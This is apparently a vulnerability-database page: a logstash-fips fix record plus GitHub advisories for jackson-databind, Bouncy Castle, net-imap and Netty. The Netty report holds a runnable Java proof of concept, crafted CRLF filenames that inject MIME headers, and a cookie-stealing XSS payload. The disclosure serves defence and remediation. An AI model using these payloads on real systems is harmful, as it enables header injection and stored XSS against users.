Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package logstash-fips version 9.4.3-r1 fixes 76 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-50020, CVE-2026-56746...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "logstash-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.4.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"9.4.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package logstash-fips version 9.4.3-r1 fixes 76 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-50020, CVE-2026-56746...",
"id": "CLEANSTART-2026-VR87787",
"modified": "2026-08-14T05:57:01Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elastic/logstash"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in logstash-fips 9.4.3-r1",
"upstream": [
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-50020",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"ghsa-jppx-w49h-x2qq",
"ghsa-6jqx-86gh-f27w",
"ghsa-mvh2-crg5-v77c",
"ghsa-6cqp-g7gg-8hr5",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-hvcg-qmg6-jm4c",
"CVE-2026-59901",
"ghsa-558v-64gr-wgg4",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-59888",
"CVE-2026-54516",
"CVE-2026-54517",
"CVE-2026-54518",
"CVE-2026-59889",
"ghsa-5gvw-p9qm-jgwh",
"ghsa-5hh8-q8hv-fr38",
"ghsa-rcqc-6cw3-h962",
"ghsa-9fxm-vc8v-hj55",
"ghsa-mhm7-754m-9p8w",
"ghsa-j3rv-43j4-c7qm",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"CVE-2025-14813",
"CVE-2026-0636",
"CVE-2026-5598",
"ghsa-574f-3g2m-x479",
"ghsa-p93r-85wp-75v3",
"ghsa-c3fc-8qff-9hwx",
"CVE-2026-5588",
"ghsa-wg6q-6289-32hp",
"ghsa-r7wm-3cxj-wff9",
"ghsa-72hv-8253-57qq",
"CVE-2026-59949",
"ghsa-xx22-p4ch-683r",
"CVE-2026-47240",
"CVE-2026-47242",
"CVE-2026-47241",
"ghsa-8p34-64r3-mwg8",
"ghsa-46q3-7gv7-qmgg",
"ghsa-c4fp-cxrr-mj66",
"CVE-2026-47736",
"CVE-2026-47737",
"ghsa-qpgp-93vx-g8v8",
"ghsa-2vqw-3mp8-cgmx",
"CVE-2026-54906",
"CVE-2026-54904",
"CVE-2026-54905",
"ghsa-h8w8-99g7-qmvj",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-wv3x-4vxv-whpp",
"CVE-2026-54696",
"ghsa-x2f5-4prf-w687",
"ghsa-5prr-v3j2-97mh",
"ghsa-5v8h-3h3q-446p",
"ghsa-8678-w3jw-xfc2",
"ghsa-9cv2-cfxc-v4v2",
"ghsa-p67v-3w7g-wjg7",
"ghsa-phwj-rprq-35pp",
"ghsa-wfpw-mmfh-qq69",
"ghsa-wjv4-x9w8-wm3h",
"ghsa-g9g8-vgvw-g3vf"
]
}
GHSA-9FXM-VC8V-HJ55
Vulnerability from github – Published: 2026-06-23 21:24 – Updated: 2026-07-20 21:21Summary
POJOPropertiesCollector._renameProperties() allows a property with @JsonProperty("renamed") on the getter and @JsonIgnore on the setter to be renamed rather than dropped. With MapperFeature.INFER_PROPERTY_MUTATORS enabled (default), the private backing field is retained; during deserialization BeanDeserializerFactory.addBeanProps() sees hasField()==true, builds a FieldProperty, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the @JsonIgnore on the setter.
Impact
POJOs combining a renamed getter with an ignored setter (a read-only-over-the-wire pattern) have that field silently set from attacker input (property tampering / mass assignment). Not a general gadget; no RCE.
Affected / Patched (verified via git tag --contains)
- 2.21 line:
>= 2.21.0, < 2.21.4-> fixed in 2.21.4 (backportc3d56dd, #5968) - 3.x line:
>= 3.0.0, < 3.1.4-> fixed in 3.1.4 (#5967,e88cb17)
Severity / CWE
Maintainer: minor. Reporter: HIGH. CWE-915.
Credits
Omkhar Arasaratnam (@omkhar) - finder.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54516"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:24:26Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\n`POJOPropertiesCollector._renameProperties()` allows a property with `@JsonProperty(\"renamed\")` on the getter and `@JsonIgnore` on the setter to be renamed rather than dropped. With `MapperFeature.INFER_PROPERTY_MUTATORS` enabled (default), the private backing field is retained; during deserialization `BeanDeserializerFactory.addBeanProps()` sees `hasField()==true`, builds a `FieldProperty`, and makes the backing field writable. An attacker supplying the renamed JSON key writes the backing field directly, bypassing the `@JsonIgnore` on the setter.\n\n## Impact\nPOJOs combining a renamed getter with an ignored setter (a read-only-over-the-wire pattern) have that field silently set from attacker input (property tampering / mass assignment). Not a general gadget; no RCE.\n\n## Affected / Patched (verified via `git tag --contains`)\n- 2.21 line: `\u003e= 2.21.0, \u003c 2.21.4` -\u003e fixed in **2.21.4** (backport `c3d56dd`, #5968)\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4** (#5967, `e88cb17`)\n\n## Severity / CWE\nMaintainer: minor. Reporter: HIGH. CWE-915.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.",
"id": "GHSA-9fxm-vc8v-hj55",
"modified": "2026-07-20T21:21:24Z",
"published": "2026-06-23T21:24:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-9fxm-vc8v-hj55"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54516"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5967"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/5968"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/c3d56dd25d52319828147c5b9aeabf2d485c250a"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/e88cb17006b6af4883b973058f0bb6486e5074af"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind\u0027s renamed @JsonIgnore\u0027d setters can deserialize via private fields"
}
GHSA-C3FC-8QFF-9HWX
Vulnerability from github – Published: 2026-04-17 18:31 – Updated: 2026-04-18 01:06Improper neutralization of special elements used in an LDAP query ('LDAP injection') vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.
This issue affects BC-JAVA: from 1.74 before 1.84.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk14"
},
"ranges": [
{
"events": [
{
"introduced": "1.74"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk15to18"
},
"ranges": [
{
"events": [
{
"introduced": "1.74"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.bouncycastle:bcprov-jdk18on"
},
"ranges": [
{
"events": [
{
"introduced": "1.74"
},
{
"fixed": "1.84"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-0636"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-18T01:06:02Z",
"nvd_published_at": "2026-04-15T10:16:38Z",
"severity": "MODERATE"
},
"details": "Improper neutralization of special elements used in an LDAP query (\u0027LDAP injection\u0027) vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.\n\nThis issue affects BC-JAVA: from 1.74 before 1.84.",
"id": "GHSA-c3fc-8qff-9hwx",
"modified": "2026-04-18T01:06:02Z",
"published": "2026-04-17T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde"
},
{
"type": "PACKAGE",
"url": "https://github.com/bcgit/bc-java"
},
{
"type": "WEB",
"url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/RE:M/U:Amber",
"type": "CVSS_V4"
}
],
"summary": "Bouncy Castle has an LDAP injection"
}
GHSA-C4FP-CXRR-MJ66
Vulnerability from github – Published: 2026-06-09 18:36 – Updated: 2026-07-06 22:53Summary
Several Net::IMAP commands accept a raw string argument which is only validated to prevent CRLF injection and then sent verbatim. If this string is derived from user-controlled input, an attacker can force the next command to be absorbed as a continuation of the first command. This will cause the first command to eventually fail, but also prevents it from returning until another command is sent (from another thread). That other command will not return until the connection is closed.
Details
Net::IMAP::RawData was hardened in v0.6.4, v0.5.14, and v0.4.24 to reject string arguments that would smuggle an invalid literal-continuation marker onto the wire (CVE-2026-42257, GHSA-hm49-wcqc-g2xg). But the trailing-marker check uses an incorrect regex which does not match {0} or {0+}, so an attacker-controlled seach criteria or fetch attr string ending in {0} or {0+} passes validation and is sent verbatim. Since these arguments are sent as the last argument in the command, they will be followed by CRLF. Although the CRLF was intended to end the command, the server will interpret it as part of a literal prefix. This consumes the next command the client puts on the socket as additional arguments to the current command.
This affects the following command's arguments:
* criteria for #search and #uid_search
* search_keys for #sort, #thread, #uid_sort, and #uid_thread
* attr for #fetch and #uid_fetch
The command which contained the attacker's raw data will not be able to complete until the next command is issued. If commands are only sent from single thread, the first command will hang until the connection times out (most likely by the server closing the connection).
If a second command is sent (from another thread), this would allow the server to respond to the first command. This combined command will be invalid:
* The {0}\r\n literal prohibits other arguments (such as a quoted string) from spanning both commands
* It will be sent without the space delimiter which is required between arguments.
* The second command's tag will not be a valid argument to any of the vulnerable commands.
So the server should respond to the first command with a BAD response, which will raise a BadResponseError.
But, since the server never saw a second command, the second command will never receive a tagged response and the thread that sent it will hang until the connection is closed.
Impact
This will result in unexpected crashes and timeouts, which could be used to create a simple denial of service attack. This attack will present very similarly to common network issues or server issues which also result in commands hanging or unexpectedly raising exceptions. By itself, this does not allow command injection. But the confusion caused by these errors could lead to other downstream issues, especially in a multi-threaded environment.
Mitigation
Update to a patched version of net-imap which validates that RawData arguments may not end with literal continuation markers.
If net-imap cannot be upgraded:
* Validate that user input to the affected command arguments does not end with "}".
* Use of Timeout or other standard strategies for slow connections and misbehaving servers will also mitigate the effects of this.
Extra caution is required when issuing commands from multiple threads. While net-imap does have rudimentary support for issuing commands from multiple threads, the user is responsible for synchronizing that commands are issued in a logically coherent order, and for ensuring that commands are only pipelined when it is safe to do so. Practically, this means that many commands cannot be safely pipelined together, and user code will often need to wait for state changing commands to successfully complete before issuing commands that rely on that state change.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.14"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47241"
],
"database_specific": {
"cwe_ids": [
"CWE-162",
"CWE-182",
"CWE-186"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-09T18:36:11Z",
"nvd_published_at": "2026-06-22T21:16:24Z",
"severity": "LOW"
},
"details": "### Summary\n\nSeveral Net::IMAP commands accept a raw string argument which is only validated to prevent CRLF injection and then sent verbatim. If this string is derived from user-controlled input, an attacker can force the next command to be absorbed as a continuation of the first command. This will cause the first command to eventually fail, but also prevents it from returning until another command is sent (from another thread). That other command will not return until the connection is closed.\n\n### Details\n\n`Net::IMAP::RawData` was hardened in v0.6.4, v0.5.14, and v0.4.24 to reject string arguments that would smuggle an invalid literal-continuation marker onto the wire (CVE-2026-42257, GHSA-hm49-wcqc-g2xg). But the trailing-marker check uses an incorrect regex which does not match `{0}` or `{0+}`, so an attacker-controlled seach `criteria` or fetch `attr` string ending in `{0}` or `{0+}` passes validation and is sent verbatim. Since these arguments are sent as the last argument in the command, they will be followed by CRLF. Although the CRLF was intended to end the command, the server will interpret it as part of a literal prefix. This consumes the next command the client puts on the socket as additional arguments to the current command.\n\nThis affects the following command\u0027s arguments:\n* `criteria` for `#search` and `#uid_search`\n* `search_keys` for `#sort`, `#thread`, `#uid_sort`, and `#uid_thread`\n* `attr` for `#fetch` and `#uid_fetch`\n\nThe command which contained the attacker\u0027s raw data will not be able to complete until the _next_ command is issued. If commands are only sent from single thread, the first command will hang until the connection times out (most likely by the server closing the connection).\n\nIf a second command is sent _(from another thread)_, this would allow the server to respond to the first command. This combined command _will_ be invalid:\n* The `{0}\\r\\n` literal prohibits other arguments (such as a quoted string) from spanning both commands\n* It will be sent without the space delimiter which is required between arguments.\n* The second command\u0027s tag will not be a valid argument to any of the vulnerable commands.\n\nSo the server _should_ respond to the first command with a `BAD` response, which will raise a `BadResponseError`. \n\nBut, since the server never saw a second command, the second command will never receive a tagged response and the thread that sent it will hang until the connection is closed.\n\n### Impact\n\nThis will result in unexpected crashes and timeouts, which could be used to create a simple denial of service attack. This attack will present very similarly to common network issues or server issues which also result in commands hanging or unexpectedly raising exceptions. By itself, this does not allow command injection. But the confusion caused by these errors could lead to other downstream issues, especially in a multi-threaded environment.\n\n### Mitigation\n\nUpdate to a patched version of `net-imap` which validates that `RawData` arguments may not end with literal continuation markers.\nIf `net-imap` cannot be upgraded:\n* Validate that user input to the affected command arguments does not end with `\"}\"`.\n* Use of `Timeout` or other standard strategies for slow connections and misbehaving servers will also mitigate the effects of this.\n\n_Extra caution is required when issuing commands from multiple threads._ While `net-imap` does have rudimentary support for issuing commands from multiple threads, the user is responsible for synchronizing that commands are issued in a logically coherent order, and for ensuring that commands are only pipelined when it is safe to do so. Practically, this means that many commands cannot be safely pipelined together, and user code will often need to wait for state changing commands to successfully complete before issuing commands that rely on that state change.",
"id": "GHSA-c4fp-cxrr-mj66",
"modified": "2026-07-06T22:53:50Z",
"published": "2026-06-09T18:36:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-c4fp-cxrr-mj66"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47241"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-47241.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47241"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Net::IMAP: Denial of Service via incomplete raw argument validation"
}
GHSA-GCJF-9MGH-3P7G
Vulnerability from github – Published: 2026-07-22 21:52 – Updated: 2026-07-22 21:52Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-http multipart) |
| Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting |
| Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition |
| CVSS 3.1 Score | 8.1 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low (attacker must be able to upload files with controlled filenames) |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | High |
| Integrity Impact | High |
| Availability Impact | None |
2. Affected Components
The following classes in the codec-http module are affected:
io.netty.handler.codec.http.multipart.HttpPostRequestEncoder— directly concatenates unvalidated filename/name intoContent-DispositionMIME headers (lines 519, 633, 674, 682, 686-688)io.netty.handler.codec.http.multipart.DiskFileUpload—setFilename()only checks null (line 78)io.netty.handler.codec.http.multipart.MemoryFileUpload—setFilename()only checks null (line 60)io.netty.handler.codec.http.multipart.MixedFileUpload—setFilename()delegates without validation (line 62)
3. Vulnerability Description
Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part.
Root Cause
In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings:
// Line 674 (attachment mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": "
+ HttpHeaderValues.ATTACHMENT + "; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Lines 686-688 (form-data mode):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; "
+ HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION
// Line 519 (attribute name):
internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; "
+ HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n");
// ^^^^^^^^^^^^^^^^^ NO VALIDATION
The setFilename() method in all FileUpload implementations only checks for null:
// DiskFileUpload.java:77-79
public void setFilename(String filename) {
this.filename = ObjectUtil.checkNotNull(filename, "filename");
// NO CRLF VALIDATION
}
Comparison with Similar Fixed CVEs
This vulnerability follows the same pattern as:
| CVE | Component | Fix |
|---|---|---|
| GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() |
| GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() |
The multipart encoder has no equivalent validation for filenames or field names.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- The application uses Netty's
HttpPostRequestEncoderto construct multipart HTTP requests - The filename of an uploaded file is derived from user-controlled input
- The application does not perform its own CRLF sanitization on filenames
Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames
5. Attack Scenarios
Scenario 1: Content-Type Override via Filename Injection
An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS:
String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--";
DiskFileUpload upload = new DiskFileUpload(
"avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize);
Wire format:
--boundary
content-disposition: form-data; name="avatar"; filename="photo.jpg"
Content-Type: text/html <-- INJECTED: overrides image/jpeg
<script>alert(document.cookie)</script> <-- INJECTED: XSS payload
--"
content-type: image/jpeg <-- Original (now ignored by many parsers)
...
If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back.
Scenario 2: Arbitrary MIME Header Injection
String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true";
Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic.
Scenario 3: Multipart Boundary Confusion
String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret";
By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server
6. Proof of Concept
Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.handler.codec.http.*;
import io.netty.handler.codec.http.multipart.*;
import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
/**
* PoC: HTTP Multipart Content-Disposition Header Injection via Filename
*
* Demonstrates that HttpPostRequestEncoder does not validate filenames
* for CRLF characters, allowing injection of arbitrary MIME headers
* into multipart form data.
*/
public class MultipartFilenameInjectionPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n");
testFilenameInjection();
System.out.println("\n=== PoC Complete ===");
}
static void testFilenameInjection() throws Exception {
System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition");
System.out.println("-------------------------------------------------------");
// Create a temporary file for upload
File tempFile = File.createTempFile("test", ".txt");
tempFile.deleteOnExit();
try (FileWriter fw = new FileWriter(tempFile)) {
fw.write("test content");
}
// Malicious filename with CRLF to inject Content-Type header
String maliciousFilename =
"innocent.txt\"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" +
"<script>alert(1)</script>\r\n--";
HttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload");
HttpPostRequestEncoder encoder = new HttpPostRequestEncoder(
new DefaultHttpDataFactory(false), request, true,
StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986);
DiskFileUpload fileUpload = new DiskFileUpload(
"file", maliciousFilename, "application/octet-stream",
"binary", StandardCharsets.UTF_8, tempFile.length());
fileUpload.setContent(tempFile);
encoder.addBodyHttpData(fileUpload);
encoder.finalizeRequest();
// Read the encoded multipart body
StringBuilder body = new StringBuilder();
while (!encoder.isEndOfInput()) {
HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc());
if (chunk != null) {
body.append(chunk.content().toString(StandardCharsets.UTF_8));
chunk.release();
}
}
encoder.cleanFiles();
String encoded = body.toString();
System.out.println("Malicious filename: " +
maliciousFilename.replace("\r", "\\r").replace("\n", "\\n"));
System.out.println();
System.out.println("Encoded multipart body:");
System.out.println("---");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("---");
boolean hasInjectedHeader = encoded.contains("X-Injected: true");
boolean hasInjectedScript = encoded.contains("<script>");
System.out.println();
System.out.println("Injected X-Injected header: " + hasInjectedHeader);
System.out.println("Injected script tag: " + hasInjectedScript);
System.out.println("VULNERABLE: " +
((hasInjectedHeader || hasInjectedScript) ?
"YES - MIME header injection!" : "NO"));
tempFile.delete();
}
}
How to Compile and Run
# Build Netty (skip tests)
./mvnw install -pl common,buffer,codec,codec-base,codec-http,transport -DskipTests \
-Dcheckstyle.skip=true -Denforcer.skip=true -Djapicmp.skip=true \
-Danimal.sniffer.skip=true -Drevapi.skip=true -Dforbiddenapis.skip=true \
-Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" MultipartFilenameInjectionPoC.java
java -cp "$JARS:." MultipartFilenameInjectionPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty Multipart Filename CRLF Injection PoC ===
[TEST 1] Filename CRLF Injection in Content-Disposition
-------------------------------------------------------
Malicious filename: innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n<script>alert(1)</script>\r\n--
Encoded multipart body:
---
--88aaade41dbb9f9f\r
content-disposition: form-data; name="file"; filename="innocent.txt"\r
Content-Type: text/html\r <-- INJECTED
X-Injected: true\r <-- INJECTED
\r
<script>alert(1)</script>\r <-- INJECTED XSS
--"\r
content-length: 12\r
content-type: application/octet-stream\r
content-transfer-encoding: binary\r
\r
test content\r
--88aaade41dbb9f9f--\r
---
Injected X-Injected header: true
Injected script tag: true
VULNERABLE: YES - MIME header injection!
=== PoC Complete ===
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Confidentiality | HIGH — Injected headers may bypass access controls or leak tokens |
| Integrity | HIGH — Content-Type override enables stored XSS; field name injection allows form data manipulation |
| Content-Type Spoofing | Override application/octet-stream to text/html to serve executable content |
| Stored XSS | Inject <script> tags via Content-Type override when uploaded files are served back |
| Form Field Override | Inject new multipart boundaries to create/override form fields |
| Downstream Injection | Custom MIME headers may affect middleware, CDN, or storage layer behavior |
8. Remediation Recommendations
Option 1: Validate in FileUpload.setFilename() (Recommended)
// DiskFileUpload.java / MemoryFileUpload.java / MixedFileUpload.java
public void setFilename(String filename) {
ObjectUtil.checkNotNull(filename, "filename");
for (int i = 0; i < filename.length(); i++) {
char c = filename.charAt(i);
if (c == '\r' || c == '\n') {
throw new IllegalArgumentException(
"filename contains prohibited CRLF character at index " + i);
}
}
this.filename = filename;
}
Option 2: Sanitize in HttpPostRequestEncoder (Defense-in-Depth)
Escape or reject CRLF characters when building Content-Disposition headers:
// HttpPostRequestEncoder.java - add helper method
private static String sanitizeHeaderParam(String value) {
for (int i = 0; i < value.length(); i++) {
char c = value.charAt(i);
if (c == '\r' || c == '\n' || c == '"') {
throw new ErrorDataEncoderException(
"Multipart parameter contains prohibited character at index " + i);
}
}
return value;
}
// Then use in Content-Disposition construction:
internal.addValue(... + "=\"" + sanitizeHeaderParam(fileUpload.getFilename()) + "\"\r\n");
Option 3: RFC 2231/5987 Encoding for Filenames
Use proper RFC 2231 encoding for filenames with special characters:
// Encode filename per RFC 5987:
// filename*=UTF-8''encoded%20filename
String encodedFilename = "UTF-8''" + URLEncoder.encode(filename, "UTF-8");
internal.addValue(... + "filename*=" + encodedFilename + "\r\n");
9. References
- RFC 2183: Content-Disposition Header Field
- RFC 7578: Returning Values from Forms: multipart/form-data
- RFC 5987: Character Set and Language Encoding for HTTP Header Field Parameters
- CWE-93: Improper Neutralization of CRLF Sequences
- CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
- GHSA-jq43-27x9-3v86: Netty SMTP Command Injection (same pattern)
- GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (same pattern)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59921"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:52:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
